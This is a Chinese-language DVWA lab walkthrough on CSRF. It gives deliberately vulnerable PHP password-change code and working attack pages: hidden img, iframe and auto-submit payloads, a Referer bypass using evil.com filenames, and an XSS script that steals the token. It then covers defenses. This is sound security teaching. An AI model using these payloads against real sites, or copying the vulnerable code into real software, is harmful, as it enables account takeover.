目录
漏洞简介
什么是CSRF(Cross-Site Request Forgery)?
CSRF是一种攻击方式,攻击者诱导受害者在已登录的Web应用程序上执行非本意的操作。
攻击原理:
- 受害者登录了目标网站A(如网银)
- 浏览器保存了网站A的Cookie
- 受害者访问攻击者构造的恶意网站B
- 恶意网站B向网站A发起请求
- 浏览器自动带上网站A的Cookie
- 网站A认为是合法请求,执行操作
危害:
- 修改用户密码
- 转账汇款
- 修改个人资料
- 发送恶意邮件
- 购买商品
- 删除数据
与XSS的区别:
- XSS:注入恶意代码在目标网站执行
- CSRF:利用用户的登录状态发起请求
Low 难度
攻击目标
无任何CSRF防护的密码修改功能。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = md5( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = mysql_real_escape_string( $pass_new );
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$html .= "<pre>Password Changed.</pre>"; } else {
$html .= "<pre>Passwords did not match.</pre>"; }
mysql_close(); }
?>
|
漏洞分析
核心问题:
- 使用GET请求 - 敏感操作应该用POST
- 无CSRF Token - 无法验证请求来源
- 无验证码 - 可以自动化攻击
- 不验证旧密码 - 只要用户登录就能改密码
- 无Referer检查 - 不验证请求来源页面
攻击条件:
- 受害者已登录DVWA
- 受害者访问攻击者页面
- 浏览器会自动发送Cookie
攻击步骤
方法1:构造恶意链接
步骤1:分析正常请求
正常修改密码的URL:
1
| http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
|
步骤2:创建攻击页面
创建 csrf_attack.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html> <head> <title>恭喜中奖!</title> </head> <body> <h1>恭喜您中奖了!</h1> <p>点击下方按钮领取奖品</p>
<a href="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"> 领取奖品 </a> </body> </html>
|
步骤3:诱导用户点击
- 受害者已登录DVWA
- 受害者点击”领取奖品”链接
- 浏览器向DVWA发送请求(自动带上Cookie)
- DVWA认为是合法请求,修改密码为”hacked”
- 受害者密码被修改,但可能不知情
方法2:自动攻击(无需点击)
使用图片标签自动发起请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html> <head> <title>热门新闻</title> </head> <body> <h1>今日头条</h1> <p>正在加载内容...</p>
<img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="0" height="0" border="0" style="display:none;"> </body> </html>
|
原理:
- 浏览器加载页面时自动请求图片
- 即使是GET请求,浏览器也会发送
- Cookie自动附加
- 用户完全不知道发生了什么
方法3:使用iframe隐藏攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html> <head> <title>正常网页</title> </head> <body> <h1>欢迎访问我的博客</h1> <p>这里是一些有趣的内容...</p>
<iframe src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change" width="0" height="0" frameborder="0" style="display:none;"> </iframe> </body> </html>
|
方法4:使用JavaScript自动提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <!DOCTYPE html> <html> <head> <title>加载中...</title> </head> <body> <h1>页面加载中,请稍候...</h1>
<script> window.onload = function() { var img = new Image(); img.src = "http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"; setTimeout(function() { window.location.href = "http://www.example.com"; }, 1000); }; </script> </body> </html>
|
实战演示
完整攻击流程:
攻击者准备
诱导受害者
受害者操作
- 已登录DVWA(Cookie有效)
- 点击链接访问 evil.com/csrf_attack.html
- 页面自动加载,发送恶意请求
攻击完成
- DVWA密码被改为”hacked”
- 攻击者可以用新密码登录
- 受害者可能很久才发现
Medium 难度
攻击目标
添加了Referer检查,但可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
if( isset( $_GET[ 'Change' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = md5( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = mysql_real_escape_string( $pass_new );
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$html .= "<pre>Password Changed.</pre>"; } else { $html .= "<pre>Passwords did not match.</pre>"; } } else { $html .= "<pre>That request didn't look correct.</pre>"; }
mysql_close(); }
?>
|
新增防护
- Referer检查 - 验证请求是否来自本站
仍存在的漏洞
- Referer可以伪造 - 浏览器可以设置
- 检查不严格 - 只检查是否包含服务器名
- 仍使用GET请求
绕过方法
方法1:文件名包含目标域名
原理:
1 2 3 4 5
| stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false
|
绕过方式:
创建文件名包含目标域名的HTML文件:
文件名:dvwa.local.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html> <head> <title>攻击页面</title> </head> <body> <h1>中奖通知</h1>
<img src="http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" width="0" height="0" style="display:none;"> </body> </html>
|
完整路径示例:
1 2 3 4
| 攻击者服务器:http: Referer: http: stripos('http://evil.com/dvwa.local.html', 'dvwa.local') = 19(找到了!) 检查通过 ✅
|
方法2:目录名包含目标域名
1 2 3 4 5 6 7 8
| 目录结构: evil.com/ └── dvwa.local/ └── attack.html
访问:http://evil.com/dvwa.local/attack.html Referer: http://evil.com/dvwa.local/attack.html 包含 'dvwa.local' ✅
|
方法3:查询参数包含目标域名
High 难度
攻击目标
添加了CSRF Token和用户交互确认。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
if( isset( $_GET[ 'Change' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
$pass_new = stripslashes( $pass_new ); $pass_conf = stripslashes( $pass_conf );
if( $pass_new == $pass_conf ) {
$pass_new = md5( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';"; $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$html .= "<pre>Password Changed.</pre>"; } else { $html .= "<pre>Passwords did not match.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
generateSessionToken();
?>
|
新增防护
- CSRF Token验证 - 每个请求必须携带有效token
- Token随机生成 - 每次页面加载生成新token
- stripslashes() - 额外输入过滤
仍存在的漏洞
- 仍使用GET请求 - Token可能被记录
- Token可以被提取 - 通过XSS或其他方式
绕过方法
方法1:结合XSS漏洞
如果目标网站存在XSS漏洞,可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
<script>
fetch('http://dvwa.local/dvwa/vulnerabilities/csrf/') .then(response => response.text()) .then(html => { var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html'); var token = doc.querySelector('input[name="user_token"]').value;
var url = 'http://dvwa.local/dvwa/vulnerabilities/csrf/' + '?password_new=hacked' + '&password_conf=hacked' + '&Change=Change' + '&user_token=' + token;
fetch(url); }); </script>
|
方法2:社会工程学
虽然有token,但可以通过以下方式:
钓鱼攻击
- 创建仿冒的DVWA页面
- 诱导用户输入密码
- 实际上提交到攻击者服务器
中间人攻击
Impossible 难度
攻击目标
完善的CSRF防护,几乎无法攻破。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php
if( isset( $_POST[ 'Change' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_curr = $_POST[ 'password_current' ];
$pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ];
$pass_curr = stripslashes( $pass_curr ); $pass_new = stripslashes( $pass_new ); $pass_conf = stripslashes( $pass_conf );
$pass_curr = md5( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "SELECT password FROM `users` WHERE user = '" . $_SESSION[ 'username' ] . "' AND password = '$pass_curr';"; $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false );
if( ( $result && ( mysqli_num_rows( $result ) == 1 ) ) && ( $pass_new == $pass_conf ) ) {
$pass_new = md5( $pass_new );
$query = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $_SESSION[ 'username' ] . "';"; $result = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_query($GLOBALS["___mysqli_ston"], $query ) : false ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$html .= "<pre>Password Changed.</pre>"; } else {
$html .= "<pre>Either your current password is incorrect or the new passwords did not match.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
generateSessionToken();
?>
|
完善的防护机制
- POST请求 - 密码不出现在URL
- CSRF Token - 每次请求必须有效token
- 验证当前密码 - 必须知道旧密码才能改
- 新密码确认 - 两次输入必须一致
- SQL注入防护 - 使用mysqli_real_escape_string
- 错误信息模糊 - 不透露具体失败原因
为什么无法攻破?
攻击者的困境:
1 2 3 4 5 6 7 8 9 10 11 12
| CSRF攻击需要: 1. 有效的CSRF Token ✓(可能通过XSS获取) 2. 知道用户当前密码 ✗(攻击者不知道!)
即使构造了请求: POST /dvwa/vulnerabilities/csrf/ password_current=????? ← 攻击者不知道 password_new=hacked password_conf=hacked user_token=有效token
结果:当前密码验证失败,攻击失败
|
防御层级:
- Token验证 → 防止简单CSRF
- 当前密码验证 → 即使有token也无法攻击
- POST请求 → 避免信息泄露
- 双重密码确认 → 防止输入错误
防御建议
代码层面
1. 使用CSRF Token(推荐)
1 2 3 4 5 6 7 8 9 10 11 12 13
| session_start(); if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); }
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('CSRF token validation failed'); }
|
2. 验证Referer头(辅助)
1 2 3 4 5 6 7
| $referer = $_SERVER['HTTP_REFERER'] ?? ''; $host = $_SERVER['HTTP_HOST'];
if (!str_starts_with($referer, "https://$host/")) { die('Invalid referer'); }
|
3. 使用SameSite Cookie属性
1 2 3 4 5 6 7 8 9
| setcookie('session', $value, [ 'expires' => time() + 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, // 只通过HTTPS传输 'httponly' => true, // 禁止JavaScript访问 'samesite' => 'Strict' // 防止CSRF ]);
|
SameSite属性值:
Strict - 完全禁止第三方请求发送Cookie
Lax - GET请求可以,POST请求不行
None - 允许(需配合Secure使用)
4. 验证关键操作密码
1 2 3 4
| if (md5($_POST['current_password']) !== $user['password']) { die('Current password incorrect'); }
|
5. 使用POST而非GET
1 2 3 4
| if ($_SERVER['REQUEST_METHOD'] !== 'POST') { die('Method not allowed'); }
|
框架层面
Laravel示例
1 2 3 4 5 6 7 8 9
|
@csrf
<input type="hidden" name="_token" value="{{ csrf_token() }}">
|
Django示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| MIDDLEWARE = [ 'django.middleware.csrf.CsrfViewMiddleware', ]
{% csrf_token %}
from django.views.decorators.csrf import csrf_protect
@csrf_protect def my_view(request): ...
|
架构层面
双重提交Cookie模式
1 2 3
| - 在Cookie中设置token - 在请求参数中也提交token - 服务器对比两者是否一致
|
自定义请求头
1 2 3 4 5 6 7 8
| fetch(url, { method: 'POST', headers: { 'X-CSRF-Token': token, 'X-Requested-With': 'XMLHttpRequest' } });
|
验证码(重要操作)
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 请求方法 |
GET |
GET |
GET |
POST |
| CSRF Token |
❌ |
❌ |
✅ |
✅ |
| Referer检查 |
❌ |
✅(弱) |
❌ |
❌ |
| 验证当前密码 |
❌ |
❌ |
❌ |
✅ |
| SameSite Cookie |
❌ |
❌ |
❌ |
可选 |
| 攻击难度 |
极易 |
简单 |
中等 |
极难 |
| 绕过方法 |
直接攻击 |
文件名trick |
XSS+CSRF |
几乎不可能 |
实战建议
学习路径:
- Low难度 - 理解CSRF基本原理
- Medium难度 - 学习Referer绕过
- High难度 - 理解Token机制
- Impossible难度 - 掌握完善的防御
常用攻击向量:
1 2 3 4 5 6 7 8 9 10 11
| <img src="目标URL"> <script src="目标URL"></script> <iframe src="目标URL"></iframe> <link rel="stylesheet" href="目标URL">
<form action="目标URL" method="POST" id="csrf"> <input name="param" value="value"> </form> <script>document.getElementById('csrf').submit();</script>
|
防御检查清单:
道德准则:
- 只在授权环境测试
- 不攻击真实用户
- 理解攻击是为了更好防御